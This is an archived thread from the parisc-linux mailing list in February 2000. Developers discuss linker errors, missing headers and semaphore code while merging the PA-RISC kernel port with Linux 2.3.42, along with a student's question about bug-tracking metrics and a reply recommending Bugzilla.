Message-ID: <200002090108.RAA12200@milano.cup.hp.com>
References: <20000209014127.C2377@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618760 30015 80.91.229.3 (22 Nov 2014 01:12:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: grundler@cup.hp.com  Tue Feb  8 19:11:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA05242
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 19:11:21 -0700
Original-Received: (qmail 20987 invoked by uid 15267); 9 Feb 2000 01:09:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19009 invoked from network); 9 Feb 2000 01:07:16 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 01:07:16 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id 22F354C5
	for <parisc-linux@thepuffingroup.com>; Tue,  8 Feb 2000 17:07:15 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id RAA12200; Tue, 8 Feb 2000 17:08:08 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 09 Feb 2000 01:41:27 PST."
             <20000209014127.C2377@alpha.franken.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:6796

Thomas Bogendoerfer wrote:
...
> where I get unresolved symbols:
> 
> ld: Unsatisfied symbols:
>    init_ext2_fs (code)
>    up_read (code)
>    uts_sem (data)
>    get_task_struct (code)
>    up_write (code)
>    pcibios_enable_devicepcibios_enable_device (code)
>    down_write (code)
>    down_read (code)

Thomas,
I probably have to add pcibios_enable_device() to arch/parisc/kernel/pci.c.
I can take care of that ASAP.

Card-mode Dino actually wants this kind of a call if it does
what I think it's supposed to do.

thanks!
grant


Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] files still needing manual merging
Date: Tue, 08 Feb 2000 17:19:35 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200002090119.RAA12256@milano.cup.hp.com>
References: <200002090108.RAA12200@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618760 30018 80.91.229.3 (22 Nov 2014 01:12:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Feb  8 19:23:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA05416
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 19:22:55 -0700
Original-Received: (qmail 30258 invoked by uid 15267); 9 Feb 2000 01:21:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28187 invoked from network); 9 Feb 2000 01:18:41 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 01:18:41 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (Postfix) with ESMTP id 59593321
	for <parisc-linux@thepuffingroup.com>; Tue,  8 Feb 2000 17:18:40 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id RAA12256 for <parisc-linux@thepuffingroup.com>; Tue, 8 Feb 2000 17:19:35 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 08 Feb 2000 17:08:07 PST."
             <200002090108.RAA12200@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6797


Thomas Bogendoerfer wrote:
...
> where I get unresolved symbols:

I didn't even get that far in my build:

make[2]: Entering directory `/linux/grundler/linux-2.3/ipc'
gcc -I/linux/grundler/linux-2.3/include -D__KERNEL__ -I/linux/grundler/linux-2.3/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing -D__linux__ -pipe -fno-strength-reduce   -c -o util.o util.c
In file included from util.c:17:
/linux/grundler/linux-2.3/include/linux/msg.h:32: asm/msgbuf.h: No such file or directory
make[2]: *** [util.o] Error 1
make[2]: Leaving directory `/linux/grundler/linux-2.3/ipc'



I'll work on the pcibios_enable_device() code now.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ld: Unsatisfied symbols
Date: Tue, 8 Feb 2000 22:05:07 -0800 (PST)
Lines: 54
Approved: news@gmane.org
Message-ID: <200002090605.WAA12699@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618760 30023 80.91.229.3 (22 Nov 2014 01:12:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Feb  9 00:09:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA07621
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Feb 2000 00:09:12 -0700
Original-Received: (qmail 14288 invoked by uid 15267); 9 Feb 2000 06:07:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12041 invoked from network); 9 Feb 2000 06:04:12 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 06:04:12 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (Postfix) with ESMTP id EEF62C6D
	for <parisc-linux@thepuffingroup.com>; Wed,  9 Feb 2000 01:04:11 -0500 (EST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id WAA12699 for parisc-linux@thepuffingroup.com; Tue, 8 Feb 2000 22:05:07 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6798


Hi folks,

The current tree builds and *almost* links.
(except for block/rd.c; used -rlinus2342 version)

ld: Unsatisfied symbols:
   up_read (code)
   uts_sem (data)
   get_task_struct (code)
   up_write (code)
   down_write (code)
   down_read (code)


get_task_struct (code)
	Other arches define get_task_struct() in include/asm/processor.h.
	We probably should too.
	I have only 1/2 a clue what it's supposed to do.

uts_sem (data)
	include/linux/utsname.h: extern struct rw_semaphore uts_sem;
	kernel/ksyms.c: EXPORT_SYMBOL(uts_sem);          /* UTS semaphore */
	kernel/sys.c:  DECLARE_RWSEM(uts_sem);

	Seems like another SOM kluge is needed.
	Or "DECLARE_RWSEM()" needs to be hacked for SOM.
	If someone knows where such "data" kluges are collected,
	please either fix it or let me know so we can keep such kluges
	all in one place.

up_read
up_write
down_read
down_write
	We seem to need them in asm-parisc/semaphore.h.
	I gather this is some form of R/W semaphore.
	Anyone who knows more is encouraged to make it happen.


FYI: I fixed the init_ext2_fs (code) and pcibios_enable_device() problems.

o init_ext2_fs() is declared "static" in fs/ext2/super.c but we have to invoke
  it directly in main.c because module_init(init_ext2_fs) can't work (yet).
  (because we are using SOM - not ELF - binaries.)

o pcibios_enable_device() *was* defined in drivers/pci/setup.c.
  But in 2.3.42,  setup.c no longer exists - split up into three files.
  pcibios_enable_device() moved to the arch specific code.
  (ie arch/parisc/kernel/pci.c)

later,
grant


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@hub-fue.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] files still needing manual merging
Date: Wed, 9 Feb 2000 13:04:18 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20000209130418.A2446@hub-fue.franken.de>
References: <200002090108.RAA12200@milano.cup.hp.com> <200002090119.RAA12256@milano.cup.hp.com>
Reply-To: tsbogend@alpha.franken.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618761 30027 80.91.229.3 (22 Nov 2014 01:12:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: hub-fue!tsbogend@rachael.franken.de  Wed Feb  9 06:42:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA10423
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Feb 2000 06:42:53 -0700
Original-Received: (qmail 5372 invoked by uid 15267); 9 Feb 2000 12:34:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10787 invoked from network); 9 Feb 2000 12:06:56 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 12:06:56 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12IVr5-0027lfC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Wed, 9 Feb 2000 13:04:23 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12IVr1-002OlLC; Wed, 9 Feb 100 13:04 MET
X-Mailer: Mutt 0.95.5us
In-Reply-To: <200002090119.RAA12256@milano.cup.hp.com>; from Grant Grundler on Tue, Feb 08, 2000 at 05:19:35PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6799

On Tue, Feb 08, 2000 at 05:19:35PM -0800, Grant Grundler wrote:
> I didn't even get that far in my build:
> 
> make[2]: Entering directory `/linux/grundler/linux-2.3/ipc'
> gcc -I/linux/grundler/linux-2.3/include -D__KERNEL__ -I/linux/grundler/linux-2.3/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing -D__linux__ -pipe -fno-strength-reduce   -c -o util.o util.c
> In file included from util.c:17:
> /linux/grundler/linux-2.3/include/linux/msg.h:32: asm/msgbuf.h: No such file or directory

that's a new file, I forgot to check it in. I'll do that, when I get home.
A quick fix for this would be to copy asm-sparc/msgbuf.h to asm-parisc.

Thomas.


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld: Unsatisfied symbols
Date: Wed, 9 Feb 2000 10:59:06 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20000209105906.M7236@thepuffingroup.com>
References: <200002090605.WAA12699@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618761 30031 80.91.229.3 (22 Nov 2014 01:12:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Wed Feb  9 10:12:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA11959
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Feb 2000 10:12:44 -0700
Original-Received: (qmail 3343 invoked by uid 15267); 9 Feb 2000 16:08:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28889 invoked from network); 9 Feb 2000 16:02:08 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 16:02:08 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id KAA02811;
	Wed, 9 Feb 2000 10:59:06 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200002090605.WAA12699@milano.cup.hp.com>; from Grant Grundler on Tue, Feb 08, 2000 at 10:05:07PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6800

On Tue, Feb 08, 2000 at 10:05:07PM -0800, Grant Grundler wrote:
> uts_sem (data)
> 	include/linux/utsname.h: extern struct rw_semaphore uts_sem;
> 	kernel/ksyms.c: EXPORT_SYMBOL(uts_sem);          /* UTS semaphore */
> 	kernel/sys.c:  DECLARE_RWSEM(uts_sem);
> 
> 	Seems like another SOM kluge is needed.
> 	Or "DECLARE_RWSEM()" needs to be hacked for SOM.
> 	If someone knows where such "data" kluges are collected,
> 	please either fix it or let me know so we can keep such kluges
> 	all in one place.

nono, this isn't linker magic (for once :-).  It's how to declare a
read-write semaphore (C doesn't have constructors, so you do it manually).
I'll do a silly-C version for now and someone can work on an efficient
assembler version of it later.

> up_read
> up_write
> down_read
> down_write
> 	We seem to need them in asm-parisc/semaphore.h.
> 	I gather this is some form of R/W semaphore.
> 	Anyone who knows more is encouraged to make it happen.

exactly.

thanks for fixing the pci stuff.


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONFIG_SERIAL_GSC
Date: Wed, 9 Feb 2000 13:00:00 -0800 (PST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200002092100.NAA13944@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618761 30033 80.91.229.3 (22 Nov 2014 01:12:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Feb  9 15:06:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA14657
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Feb 2000 15:06:03 -0700
Original-Received: (qmail 28206 invoked by uid 15267); 9 Feb 2000 21:03:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23966 invoked from network); 9 Feb 2000 20:59:04 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 20:59:04 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id 951338EC
	for <parisc-linux@thepuffingroup.com>; Wed,  9 Feb 2000 12:59:03 -0800 (PST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id NAA13944 for parisc-linux@thepuffingroup.com; Wed, 9 Feb 2000 13:00:00 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6801

Hi folks,
Can someone explain why "#define CONFIG_SERIAL_GSC" is in serial.h?

Users of asm/serial.h are:

grundler <765>find . -name '*.[ch]' | xargs fgrep "asm/serial.h"
./arch/mips/baget/vacserial.c:#include <asm/serial.h>
./drivers/char/ip2main.c:#include <asm/serial.h>
./drivers/char/mac_SCC.h:/* MSch: gone to <asm/serial.h> */
./drivers/char/serial.c:#include <asm/serial.h>
./drivers/char/synclink.c:#include <asm/serial.h>
./drivers/gsc/lasi.c:#include <asm/serial.h>


I have the impression it's going to be difficult to build a "PCI"
serial driver with CONFIG_SERIAL_GSC defined.

thanks,
grant


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_SERIAL_GSC
Date: Thu, 10 Feb 2000 10:21:43 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20000210102143.A1836@abacus.local>
References: <200002092100.NAA13944@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618762 30035 80.91.229.3 (22 Nov 2014 01:12:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@inwestnet.de  Thu Feb 10 02:28:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA19525
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Feb 2000 02:28:53 -0700
Original-Received: (qmail 9905 invoked by uid 15267); 10 Feb 2000 08:27:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7869 invoked from network); 10 Feb 2000 08:24:04 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 10 Feb 2000 08:24:04 -0000
Original-Received: (qmail 14522 invoked from network); 10 Feb 2000 08:23:59 -0000
Original-Received: from port0011.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.11)
  by mail.ginko.net with SMTP; 10 Feb 2000 08:23:59 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id KAA08842;
	Thu, 10 Feb 2000 10:22:44 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200002092100.NAA13944@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Feb 09, 2000 at 01:00:00PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6802

> Can someone explain why "#define CONFIG_SERIAL_GSC" is in serial.h?

It shouldn't be.

> Users of asm/serial.h are:
> grundler <765>find . -name '*.[ch]' | xargs fgrep "asm/serial.h"
> ./arch/mips/baget/vacserial.c:#include <asm/serial.h>
> ./drivers/char/ip2main.c:#include <asm/serial.h>
> ./drivers/char/mac_SCC.h:/* MSch: gone to <asm/serial.h> */
> ./drivers/char/synclink.c:#include <asm/serial.h>

> ./drivers/char/serial.c:#include <asm/serial.h>
> ./drivers/gsc/lasi.c:#include <asm/serial.h>

These are the only two that concern us.

> I have the impression it's going to be difficult to build a "PCI"
> serial driver with CONFIG_SERIAL_GSC defined.

Wrong.  The serial driver is designed to handle several busses at the
same time.  That means you can have CONFIG_SERIAL (port based),
CONFIG_SERIAL_GSC, and PCI MMIO based serial all activated at the same
time and one serial port of each variation and everything should work.

All you need to do is call register_serial with a struct serial_struct *req
so req->io_type == SERIAL_IO_MEM and everything should work fine.

Of course newer boxes (c3k, j5k, c3600, j5600) don't have GSC at all, so
you'd like not do define CONFIG_GSC/CONFIG_SERIAL_GSC for those.  (Those
boxes seem to still have an HP-proprietary bus though, but I don't know
anything about that).

	Philipp Rumpf


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge complete. Go crazy.
Date: Thu, 10 Feb 2000 12:01:56 -0500
Organization: MCP
Lines: 19
Approved: news@gmane.org
Message-ID: <38A2EF04.E4C413D9@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618762 30037 80.91.229.3 (22 Nov 2014 01:12:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:42 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: mang@subcarrier.org  Thu Feb 10 11:07:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA23658
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Feb 2000 11:07:15 -0700
Original-Received: (qmail 6632 invoked by uid 15267); 10 Feb 2000 17:05:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3439 invoked from network); 10 Feb 2000 17:02:27 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 10 Feb 2000 17:02:27 -0000
Original-Received: (qmail 7359 invoked from network); 10 Feb 2000 17:00:59 -0000
Original-Received: from unknown (HELO subcarrier.org) (216.208.98.2)
  by relay1.pair.com with SMTP; 10 Feb 2000 17:00:59 -0000
X-pair-Authenticated: 216.208.98.2
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6803

The merge with 2.3.42 is complete and the tree is now open for all
checkins.

The merge went relatively smoothly thanks to everyone's cooperation and
coordination.  It takes teamwork to escape merge hell quickly :)

The proposed plan for continuing to track Linus' kernel is to merge in
Linus' changes about once a month.  The criteria to determine the point
at which we merge will be if there are changes we want to pick up and if
Linus' kernel is relatively stable.  The merge we just finished was a
big one (2.3.29 to 2.3.42) -- if we merge more often the patches we have
to apply to our tree will be smaller.

We will want to sync up with 2.4 as soon as it is released so we can
generate clean diffs for the features we want to propagate back to Linus
for 2.5.

	- Mike.


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dunn RobertE Contr ESC Det 5 /NDSI <Robert.Dunn@CISF.AF.MIL>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Metrics Gathering and Quality Measurements
Date: Thu, 10 Feb 2000 10:40:17 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <40DBF9A085B2D3118C2600508B6FCB8A41E0FD@cisf7.cisf.af.mil>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416618762 30040 80.91.229.3 (22 Nov 2014 01:12:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:42 +0000 (UTC)
To: "'parisc-linux'" <parisc-linux@thepuffingroup.com>
Original-X-From: Robert.Dunn@CISF.AF.MIL  Thu Feb 10 11:49:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA24117
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Feb 2000 11:49:38 -0700
Original-Received: (qmail 15243 invoked by uid 15267); 10 Feb 2000 17:47:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11303 invoked from network); 10 Feb 2000 17:43:38 -0000
Original-Received: from palisade.spacecom.af.mil (131.15.136.2)
  by mailserv2.iuinc.com with SMTP; 10 Feb 2000 17:43:38 -0000
Original-Received: from Palisade.spacecom.af.mil (root@localhost)
	by Palisade.spacecom.af.mil with ESMTP id KAA05301
	for <parisc-linux@thepuffingroup.com>; Thu, 10 Feb 2000 10:39:26 -0700 (MST)
Original-Received: from fstdka20.cisf.af.mil ([137.11.128.80])
	by Palisade.spacecom.af.mil with ESMTP id KAA05134
	for <parisc-linux@thepuffingroup.com>; Thu, 10 Feb 2000 10:39:21 -0700 (MST)
Original-Received: by fstdka20.cisf.af.mil with Internet Mail Service (5.5.2607.0)
	id <1PX59Z3X>; Thu, 10 Feb 2000 10:41:56 -0700
Return-Receipt-To: Dunn RobertE Contr ESC Det 5 /NDSI <Robert.Dunn@CISF.AF.MIL>
X-Mailer: Internet Mail Service (5.5.2607.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6804

Hi all,

	I have been following this list server for several weeks now.  I
have some questions.  I am in a Software Quality Assurance course in school.
We have a paper to prepare regarding SQA practices on a real project.  I
would like to ask a few questions regarding methods and methodologies in use
on PA-RISC linux port.

	My primary question is, are there any metrics being gathered on the
problems that I see reported on the list server?  Are the problems that are
reported being categorized and counted?  Is there any identification of when
the problem was introduced, when it was identified, and when it was
corrected?

	Are there any other concepts for porting linux to any other
platforms?

	Thanks in advance for any information you can provide.


Robert E. Dunn Jr.
Team ND
SND C2 SPO/NDSN
SenCom
Corporation
Database Manager
Phone: (719) 556-9448	DSN: 834-9448		Fax: 556-4417


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Metrics Gathering and Quality Measurements
Date: Thu, 10 Feb 2000 14:43:42 -0500
Organization: MCP
Lines: 29
Approved: news@gmane.org
Message-ID: <38A314EE.F0CC5D01@subcarrier.org>
References: <40DBF9A085B2D3118C2600508B6FCB8A41E0FD@cisf7.cisf.af.mil>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618763 30043 80.91.229.3 (22 Nov 2014 01:12:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:43 +0000 (UTC)
Cc: "'parisc-linux'" <parisc-linux@thepuffingroup.com>
To: Dunn RobertE Contr ESC Det 5 /NDSI <Robert.Dunn@CISF.AF.MIL>
Original-X-From: mang@subcarrier.org  Thu Feb 10 13:48:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA25801
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Feb 2000 13:48:51 -0700
Original-Received: (qmail 1749 invoked by uid 15267); 10 Feb 2000 19:46:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31573 invoked from network); 10 Feb 2000 19:44:10 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 10 Feb 2000 19:44:10 -0000
Original-Received: (qmail 14563 invoked from network); 10 Feb 2000 19:42:44 -0000
Original-Received: from unknown (HELO subcarrier.org) (216.208.98.2)
  by relay1.pair.com with SMTP; 10 Feb 2000 19:42:44 -0000
X-pair-Authenticated: 216.208.98.2
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6805

Currently the number of active developers is fairly small, so most bug
tracking is done by the developers themselves.  This is working
reasonably right now, since most bugs get fixed quickly and the number
of users of the code is small.

Once we get far enough that userspace applications work, the number of
developers and end users will likely grow quickly.  At that time it will
be important to scale our bug tracking as well.  Bugzilla
(http://bugzilla.mozilla.org/) would be a good bug tracking tool for us
to use.

Bugzilla is pretty slick.  You can report bugs, track progress, set
target fix dates, mark duplicates, etc.  All the data is stored in a
database so you can build interesting queries (such as listing how many
bugs each engineer has assigned to be finished before the next milestone
date).  Mozilla.org/Netscape wrote Bugzilla and they use it for all
their bug tracking -- there are a lot of good techniques we can steal,
er borrow, from them.

	- Mike.

